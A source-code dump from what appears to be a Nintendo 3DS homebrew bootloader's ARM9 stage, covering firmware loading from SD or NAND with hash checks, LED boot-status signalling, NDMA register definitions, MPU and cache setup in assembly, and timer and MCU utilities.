61 | { 62 | //Uncached area, shouldn't affect performance too much, though 63 | firm = (Firm *)0x18000000; 64 | maxFirmSize = 0x300000; //3MB 65 | } 66 | 67 | *outFirm = firm; 68 | 69 | u32 calculatedFirmSize = checkFirmHeader(firmHeader, (u32)firm, isPreLockout); 70 | 71 | if(!calculatedFirmSize || fileRead(firm, firmName, 0, maxFirmSize) < calculatedFirmSize || !checkSectionHashes(firm)) 72 | return FIRM_LOAD_CORRUPT; 73 | else 74 | return FIRM_LOAD_OK; 75 | } 76 | 77 | static void bootFirm(Firm *firm, bool isNand) 78 | { 79 | bool isScreenInit = (firm->reserved2[0] & 1) != 0; 80 | if(isScreenInit) 81 | { 82 | invokeArm11Function(INIT_SCREENS); 83 | I2C_writeReg(I2C_DEV_MCU, 0x22, 0x2A); //Turn on backlight 84 | } 85 | 86 | memcpy(__itcm_start__, __itcm_lma__, __itcm_bss_start__ - __itcm_start__); 87 | memset(__itcm_bss_start__, 0, __itcm_end__ - __itcm_bss_start__); 88 | 89 | //Launch firm 90 | invokeArm11Function(PREPARE_ARM11_FOR_FIRMLAUNCH); 91 | __dsb(); 92 | 93 | flushEntireDCache(); 94 | chainload(firm, isNand); 95 | __builtin_unreachable(); 96 | } 97 | 98 | // Set the info LED and wait if the FIRM file is corrupt, or if the NTRBOOT combo is pressed 99 | static void displayStatus(FirmLoadStatus sdStatus, FirmLoadStatus nandStatus) 100 | { 101 | static const u8 statusColors[][3] = { 102 | { 0, 255, 0 }, // Green (SD load OK) 103 | { 255, 255, 0 }, // Yellow (SD FIRM not found/empty & NAND load OK) 104 | { 255, 100, 0 }, // Orange (SD FIRM corrupt & NAND load OK) 105 | { 255, 255, 255 }, // White (SD FIRM missing & NAND FIRM not found/empty) 106 | { 255, 0, 255 }, // Magenta (SD FIRM missing & NAND FIRM corrupt) 107 | { 255, 0, 0 }, // Red (SD FIRM corrupt & NAND FIRM corrupt) 108 | }; 109 | 110 | const u8 *rgb; 111 | 112 | if (sdStatus == FIRM_LOAD_OK) 113 | rgb = statusColors[0]; 114 | else if (nandStatus == FIRM_LOAD_OK) 115 | rgb = statusColors[(u32)sdStatus]; 116 | else if (sdStatus == FIRM_LOAD_CANT_READ) 117 | rgb = statusColors[2 + (u32)nandStatus]; 118 | else 119 | rgb = statusColors[5]; 120 | 121 | // If the NTRBOOT combo is held, if the SD FIRM is corrupt or if we can't boot, display the status 122 | bool ntrbootComboPressed = HID_PAD == NTRBOOT_BUTTONS; 123 | if (ntrbootComboPressed || sdStatus == FIRM_LOAD_CORRUPT || (sdStatus != FIRM_LOAD_OK && nandStatus != FIRM_LOAD_OK)) 124 | { 125 | const vu8 *bootMediaStatus = (const vu8 *)0x1FFFE00C; 126 | const vu32 *bootPartitionsStatus = (const vu32 *)0x1FFFE010; 127 | 128 | // Shell closed, no error booting NTRCARD, NAND paritions not even considered 129 | bool isNtrBoot = bootMediaStatus[3] == 2 && !bootMediaStatus[1] && !bootPartitionsStatus[0] && !bootPartitionsStatus[1]; 130 | 131 | // Blink if NTRBOOT, otherwise not 132 | mcuSetInfoLedPattern(rgb[0], rgb[1], rgb[2], isNtrBoot ? 500 : 0, false); 133 | while(HID_PAD & NTRBOOT_BUTTONS); 134 | // 0 -> 500ms: color 135 | // 500 -> 1000: black 136 | // 1000 -> 1500: color 137 | // 1500 -> 2000: black 138 | // ie. it will blink wait_time/(2 * period) 139 | wait(2000); 140 | mcuSetInfoLedPattern(0, 0, 0, 0, false); 141 | // The wait is needed here, in case we power off 142 | // (at the very least 2ms, so the MCU notices the pattern change) 143 | wait(50); 144 | } 145 | } 146 | 147 | void arm9Main(void) 148 | { 149 | FirmLoadStatus sdStatus, nandStatus; 150 | Firm *firm = NULL; 151 | 152 | setupKeyslots(); 153 | ndmaInit(); 154 | unprotboot9_sdmmc_initialize(); 155 | 156 | sdStatus = mountSd() ? loadFirm(&firm) : FIRM_LOAD_CANT_READ; 157 | if (sdStatus != FIRM_LOAD_OK) 158 | nandStatus = mountCtrNand() ? loadFirm(&firm) : FIRM_LOAD_CANT_READ; 159 | else 160 | nandStatus = FIRM_LOAD_CANT_READ; 161 | 162 | unmountSd(); 163 | unmountCtrNand(); 164 | displayStatus(sdStatus, nandStatus); 165 | 166 | // Can we boot? 167 | if (sdStatus == FIRM_LOAD_OK || nandStatus == FIRM_LOAD_OK) 168 | bootFirm(firm, sdStatus != FIRM_LOAD_OK); 169 | else 170 | mcuPowerOff(); 171 | 172 | __builtin_unreachable(); 173 | } 174 | -------------------------------------------------------------------------------- /stage2/arm9/source/ndma.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | 5 | typedef struct NdmaChannelRegisters { 6 | u32 src_addr; 7 | u32 dst_addr; 8 | u32 total_words; 9 | u32 block_words; 10 | u32 interval_timer_cnt; 11 | u32 fill_data; 12 | u32 cnt; 13 | } NdmaChannelRegisters; 14 | 15 | typedef struct NdmaRegisters { 16 | u32 cnt; 17 | NdmaChannelRegisters channel[8]; 18 | } NdmaRegisters; 19 | 20 | #define REG_NDMA ((volatile NdmaRegisters *)0x10002000) 21 | 22 | // Global cnt 23 | // n is the number of CPU cycles 24 | #define NDMA_ROUND_ROBIN(n) (BIT(31) | (__builtin_ffs(n) - 1) << 16 | BIT(0)) 25 | 26 | #define NDMA_INTERVAL_TIMER_DEFAULT (0u) 27 | 28 | enum 29 | { 30 | NDMA_UPDATE_INC = 0u, 31 | NDMA_UPDATE_DEC = 1u, 32 | NDMA_UPDATE_FIXED = 2u, 33 | NDMA_UPDATE_FILL = 3u, // for filling mode, only 34 | NDMA_UPDATE_RELOAD = 4u, 35 | }; 36 | 37 | #define NDMA_DST_UPDATE_MODE(m) ((m) << 10) 38 | #define NDMA_SRC_UPDATE_MODE(m) ((m) << 13) 39 | 40 | #define NDMA_BURST_WORDS(n) ((__builtin_ffs(n) - 1)<<16) 41 | 42 | enum 43 | { 44 | NDMA_STARTUP_TIMER0 = 0u <<24, 45 | NDMA_STARTUP_TIMER1 = 1u <<24, 46 | NDMA_STARTUP_TIMER2 = 2u <<24, 47 | NDMA_STARTUP_TIMER3 = 3u <<24, 48 | NDMA_STARTUP_CTRCARD0 = 4u <<24, 49 | NDMA_STARTUP_CTRCARD1 = 5u <<24, 50 | NDMA_STARTUP_SDIO1 = 6u <<24, 51 | NDMA_STARTUP_SDIO3 = 7u <<24, // not used on official retail fw, can be used for SD card 52 | NDMA_STARTUP_AES_IN = 8u <<24, 53 | NDMA_STARTUP_AES_OUT = 9u <<24, 54 | NDMA_STARTUP_SHA_IN = 10u <<24, 55 | NDMA_STARTUP_SHA_OUT = 11u <<24, 56 | NDMA_STARTUP_DEV2DEV = 15u <<24, 57 | 58 | NDMA_STARTUP_CTRCARD0_TO_AES = NDMA_STARTUP_DEV2DEV | 0, 59 | NDMA_STARTUP_CTRCARD1_TO_AES = NDMA_STARTUP_DEV2DEV | 1, 60 | NDMA_STARTUP_AES_TO_CTRCARD0 = NDMA_STARTUP_DEV2DEV | 2, 61 | NDMA_STARTUP_AES_TO_CTRCARD1 = NDMA_STARTUP_DEV2DEV | 3, 62 | 63 | NDMA_STARTUP_CTRCARD0_TO_SHA = NDMA_STARTUP_DEV2DEV | 4, 64 | NDMA_STARTUP_CTRCARD1_TO_SHA = NDMA_STARTUP_DEV2DEV | 5, 65 | NDMA_STARTUP_SHA_TO_CTRCARD0 = NDMA_STARTUP_DEV2DEV | 6, 66 | NDMA_STARTUP_SHQ_TO_CTRCARD1 = NDMA_STARTUP_DEV2DEV | 7, 67 | 68 | NDMA_STARTUP_SDIO1_TO_AES = NDMA_STARTUP_DEV2DEV | 8, 69 | NDMA_STARTUP_SDIO3_TO_AES = NDMA_STARTUP_DEV2DEV | 9, 70 | NDMA_STARTUP_AES_TO_SDIO1 = NDMA_STARTUP_DEV2DEV | 10, 71 | NDMA_STARTUP_AES_TO_SDIO3 = NDMA_STARTUP_DEV2DEV | 11, 72 | 73 | NDMA_STARTUP_SDIO1_TO_SHA = NDMA_STARTUP_DEV2DEV | 12, 74 | NDMA_STARTUP_SDIO3_TO_SHA = NDMA_STARTUP_DEV2DEV | 13, 75 | NDMA_STARTUP_SHA_TO_SDIO1 = NDMA_STARTUP_DEV2DEV | 14, 76 | NDMA_STARTUP_SHA_TO_SDIO3 = NDMA_STARTUP_DEV2DEV | 15, 77 | 78 | NDMA_STARTUP_AES_TO_SHA = NDMA_STARTUP_DEV2DEV | 16, 79 | NDMA_STARTUP_SHA_TO_AES = NDMA_STARTUP_DEV2DEV | 17, 80 | }; 81 | 82 | #define NDMA_NORMAL_MODE (0u) 83 | #define NDMA_IMMEDIATE_MODE BIT(28) 84 | #define NDMA_REPEATING_MODE BIT(29) 85 | #define NDMA_IRQ_ENABLE BIT(30) 86 | #define NDMA_ENABLE BIT(31) 87 | 88 | static inline void ndmaInit(void) 89 | { 90 | for (u32 i = 0; i < 8; i++) 91 | { 92 | REG_NDMA->channel[i].cnt &= ~NDMA_ENABLE; 93 | REG_NDMA->channel[i].interval_timer_cnt = NDMA_INTERVAL_TIMER_DEFAULT; 94 | } 95 | REG_NDMA->cnt = NDMA_ROUND_ROBIN(8); 96 | } 97 | 98 | static inline void ndmaCopyAsync(u32 channel, u32 dst, u32 src, size_t size) 99 | { 100 | volatile NdmaChannelRegisters *const chan = ®_NDMA->channel[channel]; 101 | chan->src_addr = src; 102 | chan->dst_addr = dst; 103 | chan->block_words = size/4; 104 | chan->cnt = NDMA_ENABLE | NDMA_IRQ_ENABLE | NDMA_IMMEDIATE_MODE | NDMA_BURST_WORDS(1) | 105 | NDMA_DST_UPDATE_MODE(NDMA_UPDATE_INC) | NDMA_SRC_UPDATE_MODE(NDMA_UPDATE_INC); 106 | } 107 | -------------------------------------------------------------------------------- /stage2/arm9/source/start.s: -------------------------------------------------------------------------------- 1 | // Originally from: 2 | 3 | /* 4 | * This file is part of Luma3DS 5 | * Copyright (C) 2016 Aurora Wright, TuxSH 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with this program. If not, see . 19 | * 20 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 21 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 22 | * Notices displayed by works containing it. 23 | * 24 | * Thanks to the numerous people who took part in writing this file 25 | * 26 | */ 27 | 28 | #include "asm_macros.s.h" 29 | 30 | .arm 31 | .cpu arm946e-s 32 | 33 | FUNCTION _start, .crt0 34 | // Disable interrupts and switch to supervisor mode (also clear flags) 35 | msr cpsr_cxsf, #0xD3 36 | 37 | // Change the stack pointer 38 | ldr sp, =__stack_top__ 39 | 40 | // Disable caches / MPU 41 | mrc p15, 0, r0, c1, c0, 0 // read control register 42 | bic r0, #(1<<12) // - instruction cache disable 43 | bic r0, #(1<<2) // - data cache disable 44 | bic r0, #(1<<0) // - mpu disable 45 | mcr p15, 0, r0, c1, c0, 0 // write control register 46 | 47 | // Invalidate both caches, discarding any data they may contain, 48 | // then drain the write buffer 49 | mov r4, #0 50 | mcr p15, 0, r4, c7, c5, 0 51 | mcr p15, 0, r4, c7, c6, 0 52 | mcr p15, 0, r4, c7, c10, 4 53 | 54 | // Give read/write access to all the memory regions 55 | ldr r0, =0x33333333 56 | mcr p15, 0, r0, c5, c0, 2 // write data access 57 | mcr p15, 0, r0, c5, c0, 3 // write instruction access 58 | 59 | // Set MPU permissions and cache settings 60 | ldr r0, =0xFFFF001D // ffff0000 32k | bootrom (unprotected part) 61 | ldr r1, =0xFFF0001B // fff00000 16k | dtcm 62 | ldr r2, =0x07FF801D // 07ff8000 32k | itcm 63 | ldr r3, =0x08000027 // 08000000 1M | arm9 mem 64 | ldr r4, =0x10000029 // 10000000 2M | io mem (ARM9 / first 2MB) 65 | ldr r5, =0x20000035 // 20000000 128M | fcram 66 | ldr r6, =0x1FF00027 // 1FF00000 1M | dsp / axi wram 67 | ldr r7, =0x1800002D // 18000000 8M | vram (+ 2MB) 68 | mov r8, #0x29 69 | mcr p15, 0, r0, c6, c0, 0 70 | mcr p15, 0, r1, c6, c1, 0 71 | mcr p15, 0, r2, c6, c2, 0 72 | mcr p15, 0, r3, c6, c3, 0 73 | mcr p15, 0, r4, c6, c4, 0 74 | mcr p15, 0, r5, c6, c5, 0 75 | mcr p15, 0, r6, c6, c6, 0 76 | mcr p15, 0, r7, c6, c7, 0 77 | mcr p15, 0, r8, c3, c0, 0 // Write bufferable 0, 3, 5 78 | mcr p15, 0, r8, c2, c0, 0 // Data cacheable 0, 3, 5 79 | mcr p15, 0, r8, c2, c0, 1 // Inst cacheable 0, 3, 5 80 | 81 | // Enable caches / MPU. ITCM and DTCM are already enabled, same as alternate exception vectors 82 | mrc p15, 0, r0, c1, c0, 0 // read control register 83 | orr r0, r0, #(1<<12) // - instruction cache enable 84 | orr r0, r0, #(1<<2) // - data cache enable 85 | orr r0, r0, #(1<<0) // - mpu enable 86 | mcr p15, 0, r0, c1, c0, 0 // write control register 87 | 88 | // Clear BSS 89 | ldr r0, =__bss_start__ 90 | mov r1, #0 91 | ldr r2, =__bss_end__ 92 | sub r2, r0 93 | bl memset 94 | 95 | b arm9Main 96 | END_FUNCTION 97 | -------------------------------------------------------------------------------- /stage2/arm9/source/types.h: -------------------------------------------------------------------------------- 1 | /* 2 | * types.h 3 | */ 4 | 5 | #pragma once 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | //Common data types 12 | typedef uint8_t u8; 13 | typedef uint16_t u16; 14 | typedef uint32_t u32; 15 | typedef uint64_t u64; 16 | typedef volatile u8 vu8; 17 | typedef volatile u16 vu16; 18 | typedef volatile u32 vu32; 19 | typedef volatile u64 vu64; 20 | 21 | typedef int8_t s8; 22 | typedef int16_t s16; 23 | typedef int32_t s32; 24 | typedef int64_t s64; 25 | typedef volatile s8 vs8; 26 | typedef volatile s16 vs16; 27 | typedef volatile s32 vs32; 28 | typedef volatile s64 vs64; 29 | 30 | #define CFG9_SYSPROT9 (*(vu8 *)0x10000000) 31 | #define CFG9_SYSPROT11 (*(vu8 *)0x10000001) 32 | 33 | #define BIT(n) (1u<<(n)) 34 | #define NORETURN __attribute__((noreturn)) 35 | 36 | typedef enum 37 | { 38 | INIT_SCREENS = 0, 39 | WAIT_BOOTROM11_LOCKED, 40 | PREPARE_ARM11_FOR_FIRMLAUNCH, 41 | ARM11_READY 42 | } Arm11Operation; 43 | 44 | struct fb { 45 | u32 top_left; 46 | u32 top_right; 47 | u32 bottom; 48 | }; 49 | 50 | /*static inline void __wfi(void) 51 | { 52 | u32 val = 0; 53 | __asm__ __volatile__("mcr p15, 0, %0, c7, c0, 4" :: "r"(val) : "memory"); 54 | }*/ 55 | 56 | void __wfi(void); // in cache.s 57 | void __dsb(void); // in cache.s 58 | -------------------------------------------------------------------------------- /stage2/arm9/source/utils.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | /* 24 | * waitInput function based on code by d0k3 https://github.com/d0k3/Decrypt9WIP/blob/master/source/hid.c 25 | */ 26 | 27 | #include "utils.h" 28 | #include "i2c.h" 29 | #include "cache.h" 30 | #include "memory.h" 31 | 32 | typedef struct McuInfoLedPattern { 33 | u8 delay; 34 | u8 smoothing; 35 | u8 loopDelay; 36 | u8 reserved; 37 | u8 red[32]; 38 | u8 green[32]; 39 | u8 blue[32]; 40 | } McuInfoLedPattern; 41 | _Static_assert(sizeof(McuInfoLedPattern) == 100, "McuInfoLedPattern: wrong size"); 42 | 43 | static inline void startChrono(void) 44 | { 45 | static bool isChronoStarted = false; 46 | 47 | if(isChronoStarted) return; 48 | 49 | REG_TIMER_CNT(0) = 0; //67MHz 50 | for(u32 i = 1; i < 4; i++) REG_TIMER_CNT(i) = 4; //Count-up 51 | 52 | for(u32 i = 0; i < 4; i++) REG_TIMER_VAL(i) = 0; 53 | 54 | REG_TIMER_CNT(0) = 0x80; //67MHz; enabled 55 | for(u32 i = 1; i < 4; i++) REG_TIMER_CNT(i) = 0x84; //Count-up; enabled 56 | 57 | isChronoStarted = true; 58 | } 59 | 60 | static u64 chrono(void) 61 | { 62 | u64 res = 0; 63 | for(u32 i = 0; i < 4; i++) res |= REG_TIMER_VAL(i) << (16 * i); 64 | 65 | res /= (TICKS_PER_SEC / 1000); 66 | 67 | return res; 68 | } 69 | 70 | void NORETURN mcuPowerOff(void) 71 | { 72 | //Ensure that all memory transfers have completed and that the data cache has been flushed 73 | flushEntireDCache(); 74 | 75 | I2C_writeReg(I2C_DEV_MCU, 0x20, 1 << 0); 76 | while(true); 77 | } 78 | 79 | void wait(u64 amount) 80 | { 81 | startChrono(); 82 | 83 | u64 initialValue = chrono(); 84 | 85 | while(chrono() - initialValue < amount); 86 | } 87 | 88 | // Max 500ms 89 | static inline u8 mcuPeriodMsToTick(u32 periodMs) 90 | { 91 | // 512Hz 92 | u32 res = 512u * periodMs / 1000u; 93 | res = res < 2 ? 1 : res - 1; // res not allowed to be zero 94 | res = res > 255 ? 255 : res; // res can't exceed 255 95 | return (u8)res; 96 | } 97 | 98 | void mcuSetInfoLedPattern(u8 r, u8 g, u8 b, u32 periodMs, bool smooth) 99 | { 100 | McuInfoLedPattern pattern; 101 | 102 | if (periodMs == 0) 103 | { 104 | pattern.delay = 0xFF; // as high as we can; needs to be non-zero. Delay between frames (array elems) 105 | pattern.smoothing = 1; 106 | pattern.loopDelay = 0xFE; // as high as we can 107 | for (u32 i = 0; i < 32; i++) 108 | { 109 | pattern.red[i] = r; 110 | pattern.green[i] = g; 111 | pattern.blue[i] = b; 112 | } 113 | } 114 | else 115 | { 116 | periodMs = periodMs < 63 ? 63 : periodMs; 117 | pattern.delay = mcuPeriodMsToTick(periodMs); 118 | pattern.smoothing = smooth ? mcuPeriodMsToTick(periodMs) : 1; 119 | pattern.loopDelay = 0; // restart immediately 120 | for (u32 i = 0; i < 16; i++) 121 | { 122 | pattern.red[2*i] = r; 123 | pattern.red[2*i + 1] = 0; 124 | pattern.green[2*i] = g; 125 | pattern.green[2*i + 1] = 0; 126 | pattern.blue[2*i] = b; 127 | pattern.blue[2*i + 1] = 0; 128 | } 129 | } 130 | 131 | I2C_writeRegBuf(I2C_DEV_MCU, 0x2D, (const u8 *)&pattern, sizeof(McuInfoLedPattern)); 132 | } 133 | -------------------------------------------------------------------------------- /stage2/arm9/source/utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | /* 24 | * waitInput function based on code by d0k3 https://github.com/d0k3/Decrypt9WIP/blob/master/source/hid.c 25 | */ 26 | 27 | #pragma once 28 | 29 | #include "types.h" 30 | 31 | #define TICKS_PER_SEC 67027964ULL 32 | #define REG_TIMER_CNT(i) *(vu16 *)(0x10003002 + 4 * i) 33 | #define REG_TIMER_VAL(i) *(vu16 *)(0x10003000 + 4 * i) 34 | 35 | void NORETURN mcuPowerOff(void); 36 | void wait(u64 amount); 37 | void error(const char *fmt, ...); 38 | void mcuSetInfoLedPattern(u8 r, u8 g, u8 b, u32 periodMs, bool smooth); 39 | --------------------------------------------------------------------------------